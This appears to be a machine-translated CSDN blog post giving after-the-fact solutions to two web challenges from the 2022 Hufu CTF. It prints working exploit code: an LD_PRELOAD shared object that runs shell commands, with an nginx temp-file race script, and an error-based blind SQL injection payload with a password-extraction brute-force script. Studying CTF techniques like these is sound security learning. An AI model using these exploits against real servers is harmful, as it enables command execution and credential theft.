2022 Hufu CTF-WEB reappears after the game

1、ezphp

Refer to this Tiger Talisman CTF by Master Jacko

The writing has been very detailed. Let’s briefly review the topic. The topic is similar to Master P’s article on how to use environment variable injection to execute arbitrary commands . To put it simply, different systems have different commands called by their system commands.

Calling system in php is essentially calling sh -c. In different operating systems:

  • debian:sh→dash
  • centos:sh→bash

Summarize:

  • BASH_ENV: bash -cAny command can be injected into
  • ENV: sh -i -cAny command can be injected into
  • PS1: Can execute any command in shor interactive environmentbash
  • PROMPT_COMMAND: Can bashexecute any command in an interactive environment
  • BASH_FUNC_xxx%%: You can execute any command at bash -corsh -c

The topic is the debian system that Master P has not solved.

And this article solves this problem hxp CTF 2021 - A New Novel LFI

Nginx will store the requested body content in the form of a temporary file.

The general idea is:

  • Requesting an overly large body will generate a temporary file in the /proc/self/fd directory.
  • Transfer a so file filled with a lot of dirty data
  • Competition LD_PRELOAD contains temporary files in the proc directory

This is the source file that generates so

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    
    
  unsetenv("LD_PRELOAD");
  system("id");
  system("cat /flag > /var/www/html/flag");
}

Note that a lot of useless code is added to the code. I added 20,000 lines of code.

a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

As shown in the picture

Use the following command to compile and generate the so file

gcc -shared -fPIC hook_exp.c -o hook_exp.so

The malicious so file generated later was 163kb

Next is the competition script, pay attention to the URL and the path of the malicious so file.

import requests
import _thread

f=open("hook_exp.so",'rb')
data=f.read()
url="http://localhost:12333/"

def upload():
    print("start upload")
    while True:
        requests.get(url+"index.php",data=data)

def preload(fd):
    while True:
        print("start ld_preload")
        for pid in range(10,20):
            file = f'/proc/{
      
      pid}/fd/{
      
      fd}'
            # print(url+f"index.php?env=LD_PRELOAD={file}")
            resp = requests.get(url+f"index.php?env=LD_PRELOAD={
      
      file}")
            # print(resp.text)
            if 'uid' in resp.text:
                print("finished")
                exit()

try:
    _thread.start_new_thread(upload, ())
    for fd in range(1, 20):
        _thread.start_new_thread(preload,(fd,))
except:
    print("error")

while True:
    pass

When the script is finished and appears finished, direct URL access and flag will automatically download the flag.

2、Babysql

Master Jacko's stuff is transported here directly, I didn't get it done.

hint.md

```sql
CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
```

```js
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

This question is quite good

First look at the code logic. First, query the entered username . If there is one, compare the entered password with the queried one.

Of course, the first thing that comes to mind after reading this is union selectthat it is filtered here. Of course, this filtering cannot be bypassed. Double writing does not work. If it exists here, replace the string with empty, not just union .

Let’s take a look at regexp in hint . Under the premise of filtering , regexp is indeed a good function.()

I was wondering if I could match the username and password through regexp , and thought of blind injection.

However, blind injection is not easy. No matter whether there is a query result or not, as long as the final username and password are not obtained, null will be returned . This makes it impossible to perform Boolean blind injection.

So is it possible to time blind? Without parentheses, sleep()functions like this cannot be called here, huh? Combined with regexp , will regular matching be used to delay the delay? However, it is not as simple as imagined. After some local testing, it was found that mysql directly reports Timeout after a delay and cannot be used.

However, when I was using regexp to test without thinking , I found that when regexp passed in ungrammatical matching rules, an error would be reported. An error? Isn’t it possible to use error reporting for Boolean blind injection?

At this time, refresh the question information. There is still zero solution, so hurry up!

Just do it, and after several optimizations, it was constructed

SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;

The structure was constructed, and 1 is a Boolean point. However, something went wrong when I changed it to regexp.

SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;

I originally thought that when the previous match was made, the subsequent erroneous regular matching would not be performed. However, I was wrong. The syntax check of regexp is performed before the query judgment.

Later, I changed some other error reporting methods, and finally found that integer overflow can be used successfully.

SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;

When it matches, it is true and an error is reported when it overflows. When it does not match, it does not report an error normally.

Now the problem becomes how to remove the parentheses. The priority of addition is higher than regexp, so it cannot be removed casually. I thought about it for a long time and finally solved this problem using case.

SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;

Here are a few points:

  • How to separate username and regexp ? Here username is enclosed in backticks.
  • How to separate when and then ? Strong transformation of characters is used here
  • How to separate the 1 and else after then ? Add one more null character here
  • How to close the single quote behind end ? Add one more **||** here

These may be some that look simple when you see the payload , but when you actually try it, you will encounter various pitfalls.

The next step is the script, which is also not smooth. After communicating with my teammates, it still took a long time, but it was finally completed.

  • What to do with special characters? Escape with backtick
  • How to distinguish between upper and lower case? Use COLLATE utf8mb4_bin

direct script

import requests
url='http://xxx/login'
flag=''
for i in range(1,50):
    for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
        temp=ascii
        if(temp in '^!?$'):
            temp="\\\\\\"+temp
        payload={
    
    
            'password':'xxx',
            'username':f"'||case`password`regexp'^{
      
      flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
        }
        response=requests.post(url=url, data=payload)
        print(payload)
        print(response.text)
        if '500' in response.text:
            flag+=temp
            print(flag)
            break
        print(ascii)

Just enter your username and password and log in directly.

3. Baby Router Updater and 4. ezchain, one is a mixture of web, crypto, misc, reverse, and the other is Java, which I don’t know how to do.

Guess you like

Origin blog.csdn.net/qq_45619909/article/details/128946735